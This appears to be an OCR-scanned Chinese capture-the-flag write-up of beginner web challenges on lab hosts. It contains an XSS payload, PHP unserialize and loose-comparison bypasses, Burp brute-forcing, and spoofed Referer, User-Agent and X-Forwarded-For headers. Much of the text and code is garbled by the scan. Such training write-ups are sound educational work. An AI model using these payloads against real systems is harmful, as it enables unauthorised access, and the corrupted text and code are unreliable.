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1. _GET
o WHEMANE: hitp://106.12.21.77:8080/get/get.php
! <« C @ F==2| 106.12.21.77:8080/get/get.php @ m e :
|
{iphp

, include “flag. php”;

!\ error_reporting (0):

U $what=3_GET [ what'1;

D if(fwhat=="flag )
echio $flag:

" highlight_file(_FILE_ J;
¥pd
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< C @ F==2| 106.12.21.77:8080/get/get.php?what=flag

DO0g3{get function}
‘php

include “flagz.php”;
error_reporting (0);
Fwhat=3_GET [’ what’ ] ;
if(fwhat=="flag )

echo  Jflag:

highlight filei{ FILE -
P
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2. POST

o FRHEMNE: hitp://106.12.21.77:8080/post/post.php

(@ 106.12.21.77:8080/post/post.php

<?php

include “flag.php”;
error_reporting (0) ;
$what=$_POST[’ what’ ];

if ($what=="flag )

echo $flag:
highlight_file(_FILE_);
e
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http://106.12.21.77:8080/post/post.php

® 106.12.21.77.8080/post/post.php

DO0g3{this is post function}
<?php

include “flag.php”:
error_reporting(0) ;
$what=$_POST[ what’ ]:

if (Swhat== flag’ )

echo §flag;

highlight file{_FILE_):

>
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3. R MEER

o WHMAE: http:/106.12.21.77:8080/length/length.html

v

« > C & @ 106.12.21.77:8080/length/length.ntml
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http://106.12.21.77:8080/length/length.html
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D0g3{max_lenth}
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4. serialize

o BEMME: hitp://120.79.33.253:9001/

@ 120.79.33.253:9001

<?php

error_reporting (0) ;

include “flag. php”;

SEEY = “D0g3!!!”:

$str = § GET[ str'];

if (unserialize(8str) === "SKEY")
{

}
show_source(_ FILE_ ) ;

echo "$flag”;
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FIWGEREEFTSKEY, TRBEBLTERZRENE LB serialize () RBUFILEHFRIE.
o RBTTE:
5654 B FUAL S RF R I R A

<?php

$key = $_GET['key'];
$str = serialize($key);
echo "$str";

?>


http://120.79.33.253:9001/
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< C @ F==£| 192.168.1.132/aaa,phpkey=D0g31!

s:7:"DOg31";
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< C © F==| 120.79.33.253:9001/2str=s:7:"D0g3!!!";

ID0g3(821448c05d0506b6bb468e8aeffbed7b) fowin \
error_reporting ()

include  “flag. php”;

$EEY = "Dog:n 7

f=tr = FGET[ =tr’];

if (mszerialize(fstr) == "§EET")

i

echo "§flag”:
I
zhow souwrce(_ FILE )
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5. xss1

o BHEHME: hitp://206.189.214.99:4080/xss/

Challenge 17 Solves
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http://206.189.214.99:4080/xss/
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d0g3 xss
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o BENH: XEMREExssIHIFAN, WMERRBEET, BbtRYixsspayloadlE IS HEME N, IERBEERAER

JEAREEE T mFEABIE.

document. onmousedown = click;
document. oncontextmenu = new Function{“return false;”)
document. onkeydown = document. onkeyup = document. onkeypress = function () {
if (window. event. keyCode = 123||window. event. kevCode = 17} {
confirm("PibfFAFIZFICL! | 1 ")

window. event. returnValue = false;
return (false);
}
}
// <—123——112RFI-FLER 8 —>

window. alert = function()
confirm("FEEMRAIER, EFRERwFEflag, WY, FDragln. 1021872752, passerfiy: 7499140347 ;
}

{/script?>

<titledBRIMEE|d0g3 xss</title
/head>

<body>

<hl align=center>d0z3 xssL{/h
<h2 ali g‘chenterﬁﬁﬁ?ﬁﬂE“]éﬁ%. </h2>{center>
<form action=index. php method

{input name=keyword value="zaaa">

<input type=submit name=subTit value="12%F"/>

{/form>

{/center>{center>{img src=logo. jpg>{/center>

{center>1A{FHAIGHFE, chrome M K25 (EMAlag, 360N B2 M AN chrome/4%) F12EI, BMEMN HEHTH </ center>
<h3 align=center>payloadf]{<fE :4¢/h3></body>

</html>
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payload: "><script>alert(1l)</script>
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6. htmlispecialchars

o FHEMME: hitp://120.79.33.253:9004/?id=111


http://120.79.33.253:9004/?id=111
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o BHMMNE: hitp:/106.12.21.77:8080/robots/robots html
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@ 106.12.21.77:8080/robots/robots.html
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o BWHAN: XEBEEREZNRrobots. txt, MBEMBE—THE, ATHILEEBRSIENRE, BEAMGEEHRTS
F—AMrobots.txt XM, REFRBRIIEHEEFARFRE. BHiKiAm.

o MR Virobots. txt XM, RABAWIR, KI—Mag.btfI Xk, RIEIRAV; HEZflag.
e ue

@ 106.12.21.77:8080/robots/robots.txt

#

% robots. txt for www. d0g3.cn
#

User—agzent: *

Pisallc—w: robots/flag. txt
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@ 106.12.21.77:8080/robots/flag.txt

D0z3 {robots_txt_is_cool}
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8. B &flag

o EEHEMHE: http:/106.12.21.77:8080/burp/burp.html
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B Zflag
80

AHOFpyEEQD: 1183621141 hitp:/106.12.21.77:8080
Jburp/burp.html

Submit

image.png

@ 106.12.21.77:8080/burp/burp.html

=

image.png
o FEHEHT: WMRBHEBKN—EE, SMBMEN, RIEALU, INERHET
o fRRRITIE:


http://106.12.21.77:8080/burp/burp.html

Target | Positions | Payloads T Options ]

@ Payload Sets

“ou can define one or more paylead sets. The number of payload sets depends on the attack

each paylead set, and each paylead type can be customized in different ways.

Payload =et: l 1 | ‘F] Payload count: 100,000

Payload type:ll Numbers. || v] Request count: 100,000

Payload Options [Numbers]

(=)

This payload type generates numeric payleads within a given range and in a specified format.

Number range

Type: (® Sequential|{(_) Random

From: ooooo
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HTTP/1.1 200 0K

Server: nginz

Date: Wed, 31 Oct 2018 03:298:36 GMT
Content—Type: text/html

Comnection: close

Vary: Accept—Encoding

X-Powered-By: PHP/5. 4. 41
Content-Length: 32

IDCIgB {pass_word_is_corret}

4 = + = Type a search term

65805 of 100000
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<?php

error_reporting(0);

function noother_says_correct($temp)

{

$flag = "xxxxx";

$one = ord('1'); //ord — REIF/HHK ASCII W&
$nine = ord('9'); //ord — REIFHH ASCII WG{E
$number = '3735929050';

// Check all the input characters!

for ($i = 0; $i < strlen($number); $i++)

{

// Disallow all the digits!

$digit = ord($temp{$i});

if ( ($digit >= $one) && ($digit <= $nine) )
{

// Aha, digit not allowed!

return "flase";

}

}

if($number == $temp)

return $flag;

}

$temp = $_GET[ 'password'];

echo noother_says_correct($temp);

?>

o BMENH: XEEBEKFHE, EREXAAFMANI1BO T, FILATMEA 163 HIk3THE, EMEANNSEIE
3735929050165 Hldeadc0da, BAMIEICERIEMOx.

o fRRETT:
payload: ?password=0xdeadcOda
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o WEHMHE: nhttp:/106.12.21.77:8080/referer/referer.php

@ 106.12.21.77:8080/referer/referer.php
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cancel | [ <|v || >|*

Request

| | Raw [ Headers | Hex

Target: http:/i106.12.21.77:8080 [:J lz

Response

Raw | Headers | Hex

GET /referer/referer.php HITP/1.1

Host: 106.12.21.77: 8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: =64; rv:63.0)
Gecko/20100101 Firefox/63.0

:ﬁccept:

text/htnl, application/zhtml4znl, application/=ml; g=0.9, #/* q=0.8
‘Aecept-Language:

' zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HE ; g=0. 5, en-US; q=0. 3, en; g=0. 2
|Commection: closel
'Ccn‘tent—Length: 1]

Upgrade-Insecure-Requests: 1
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o WHM: XAHBKER, MANEPKIT, NMZRREBEARMI0G3 . cnRKRIEEEf1ag? , REZHEE]

flag.
o MR DhIEHIEE L

Referer: deg3.cn

e

HITP/1.1 200 CK

Server: nginx

Date: Wed, 31 Oct 2018 05:48:39 GMT
Content-Type: text/html
Comnection: clese

Vary: Accept-Encoding

X¥-Powered-Ey: PHP/G. 4. 41
Content—Length: 306
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http://106.12.21.77:8080/referer/referer.php

Go Cancel < | > |v Target: http:i106.12.21.77:68080 | &

Request Response
Raw | Headers | Hex Raw | Headers | Hex
GET /referer/referer.php HITR/1.1 A HITE/1.1 200 OK
Host: 106.12.21.77: 8080 r Server: nginx
User—-Agent: Mozilla/5. 0 (Windows NT 10.0; Winf4: =64; rv:63.0) Date: Wed, 31 Oct 2018 05:49:26 GHT
Gecko/20100101 Firefox/63.0 Content—Type: text/html
Aecept: Commection: close
text/html, application/zhtml+xml, application/=ml; q=0.9, */*;q=0.8 Vary: Accept-Encoding
Aecept-Language: X-Powered-Byv: PHP/G. 4. 41
zh-CH, zh;g=0. 8, zh-TW;g=0. 7. zh-HE ; q=0. 5, en-US; q=0. 3, en; q=0. 2 Content—Length: 30
Comnection: close
Content-Length: 0 D0g3 {welcome_to_join_dog3!'}|
eferer: dlgs.cn
gpﬂmﬂeﬂf!quests: 1
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12. Firefox

o FREMBLE: hitp://106.12.21.77:8080/refox.php

Challenge 30 Solves

Firefox
100
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@ 106.12.21.77:8080/firefox.php
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|Do you have Mozilla?

|Do you have Mozilla/11.0?

FTE XXX TR EXTXTETEXX TR T T T ETEE LT LR

can you get flag???
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http://106.12.21.77:8080/firefox.php

Request Response

Raw | Headers | Hex Raw | Headers | Hex
GET /firvefox.php HITP/1.1 ' HITP/1.1 200 OK
Host: 106.12.21.77: 8080 r Server: nginx
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:63.0) Date: Wed, 31 Oct 2018 05:56:25 GNT
Gecko/20100101 Firefox/63.0 Content-Type: text/html
Accept: Comnection: close
text/html. application/zhtnl+znl, application/zml; q=0.9, #/+ q=0, 8 Vary: Accept-Encoding
Arcept-Language: X-Powered-Bv: PHP/5.4.41
zh-CN, zh; q=0. 8, zh-TW; g=0. 7, zh-HK ; g=0. 5, en-US; g=0. 3, en; g=0. 2 Content-Length: 265

Commection: close
Upgrade-Insecure-Requests: 1
<hrr<hr > <bhr > <hr><hr>

# &k & &k & k & k & k & k & & & & ok &k & *k & k & & &k &

<hrr<br>
Do wvou hawve Mozilla?
<hrr<hr>
<hr:De yoeu have Mezilla/11.07
<hr><br>
# &k & &k & k & k & k & k & & & & ok &k & *k & k & & &k &
<hrr<br>

can you get flag???
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o WHMN: FERRMRMEE, BAHENRHRAREBE,

o MR BEMRESRAGE R AMoz111a/11.0, FFHRERIANMET, ERMMT, ERFAERR, WARAKE
AMozilla/11.0, FARAMIERERFZMIHIL.

Request Response
Raw | Headers | Hex Raw | Headers | Hex

GET /firefox.php HITP/1.1 A HITP/1.1 200 0K 2
Host: 106.12.21,77:8080 F Server: nginx F
User—AEen‘t: Mozilla/1l.0 Date: Wed, 31 Oct 2018 06:00:31 GNT
Accept: Content-Type: text/html
text/html, application/xhtml+xml, application/zml; q=0. 9, #/# ¢=0. 8 Commection: close
Accept-Language: Vary: Accept—Encoding
zh—CHN. zh; g=0. 8, zh-TW; g=0. 7. zh-HK ; q=0. 5, en-US: g=0. 3, en; q=0. 2 ¥-Powered-By: PHP/5.4.41
Comnection: close Content—Length: 23

Upgrade-Insecure-Requests: 1

| IDUgB*{firefox_browser} I
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o B HEMAL: http://106.12.21.77:8080/x-forwarded-for.php
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IPfRiE
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oy EQQ:1183621141 REENAfniAm)
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Submit
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http://106.12.21.77:8080/x-forwarded-for.php

Request

[ eaders T v |

Response

e essers T vex )

GET /z—forwarded-for.php HITP/1.1
Host: 106.12.21.77: 8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64; 1v:63.0)

Gecko/20100101 Firefox/63.0
Accept:

text/html, application/zhtml+zml, application/=ml; q=0.9, */ % g=0. 3

Accept-Language:

zh—CH, zh; q=0. 8, zh-TW; q=0. 7, zh-HE ; q=0. 5, en-US5; q=0. 3, en; ¢g=0. 2

Comnection: close
Upgrade—Insecure-Requests: 1

I
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o WHEAHT: BERT, &P

Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Host: 127.0.0.1

o MRARJTE: YUREE BB EEESIPL

Request

Raw | Headers | Hex

HTTP/1.1 200 0K

Server: nginz

Date: Wed, 31 Oct 2018 06:07:11 GMT
Content—Type: text/html

Comnection: close

Vary: Accept—Encoding
X-Powered-By: PHP/5. 4. 41
Content-Length: 32

e

Your ip address is 222, 66. 5. 241

Response

Raw | Headers | Hex

GET /z—forwarded-for.php HITF/1.1

IHos‘t: 106.12.21. 77: 8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.00
(Gecko/20100101 Firefox/63.0

|£ccep‘t:

text/html, application/zhtml+xnl, application/=ml;q=0. 9, */*: q=0.8
Accept—Language:

zh-CHN. zh; g=0. 8, zsh-TW:g=0. 7, gh-HK ; g=0. 5, en-U3; g=0. 3, en;g=0. 2
|Commection: close

X-Forwarded-For: 127.0.0.1

|
image.png

15. Match it! (ILACE)

e

HTTF/1.1 200 OK

Server: nginx

Date: Wed, 31 Oct 2018 0G:08: 0% GNT
Content-Type: text/html

Comnection: close

Vary: Accept-Encoding
X-Powered-By: PHP/5. 4. 41
Content-Length: 65

Your ip address is 1?|T.0.0.l<hr><hr>f1ag is
| D0g3 {x_forward_for}

o B HhL: http://206.189.214.99:1080/Pr3g_m4atch1/Pr3g_m4atch1.php


http://206.189.214.99:1080/Pr3g_m4atch1/Pr3g_m4atch1.php

A TWIETEE—

(®© 206.189.214.99:1080/Pr3g mdatch1/Pr3g m4atch1.php

<{?php
include ' flagi3hEre.php’ ;
if ("POST” == §_SERVER[’ REQUEST_METHOD’ 1)
{
Spassword = §_POST[ paszword ]:
if (0 > preg_match( /" [[:graph:]11{12,}8/, $password))
{
echo 'Wrong Format’ ;
exit;
}
while (TRUE)
{
$reg = " /{[[:ipunct:11+|[[:digit:11+| [[:upper:11+| [[:lower:11+)/ :
if (6 > prez_match_all($res, Spassword, Sarr))
break:
e = 0;
$ps = array( punct’, ’digit’, upper’, lower ):
foreach ($ps as Spt)
{
if (preg match("/[[:8$pt:11+/", Spassword))
§c += 1;
}
if (3¢ < 3) break;
if ("42” == §password) echo $§flag:
else echo 'Wrong password :
exit;
}
}
highlight_file(_FILE_ ):
2>
image.png
<?php
include 'flagi3hEre.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{

$password = $_POST[ 'password'];
if (@ >= preg_match('/~[[:graph:]]1{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '"/([[:punct:]]+|[[:digit:]]+|[[:upper:]1]+|[[:lower:]1]+)/";
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', ‘'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]1]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;

}
highlight_file(__FILE_ );
?>



o WHH: —H—HRLEHEITIE,

0 >= preg_match('/~[[:graph:]1]1{12,}$/', $password)
[IBANHARBIN12A U B2, NEFEERMtabi

$reg = '/([[:punct:]]+|[[:digit:]1]1+|[[:upper:]1]1+|[[:lower:1]+)/";
//[[:punct:]] MR ARKS, [[:digit:]] EA%FE, [[:upper:]] EMKEEF ,

if (6 > preg_match_all($reg, $password, $arr))
//ICRB M IRBER TeRA ReRid. EENREH IS FRMARER K.

$ps = array('punct', 'digit', 'upper', 'lower');

foreach ($ps as $pt)

{
if (preg_match("/[[:$pt:]1]+/", $password))
$c += 1;

}

if ($c < 3) break;

[ /XA TR, DWABRFGRNEFE, 7, FRAR=ZME=MUL

if ("42" == $password) echo $flag;
[/ BRI E IR E A2 %,

o MRAEJTE: ARYE UL _EULEEHIN M & B i 2 7 R i payload
A L #:420.000000e-1 /0 A LU BE B IR A 5E 8L (E (52 ZE L 121575

[[:lower:]] EA/NEEE

|D093(Pr39_m4atcm_c4nt_st0p _yOul!ll} |
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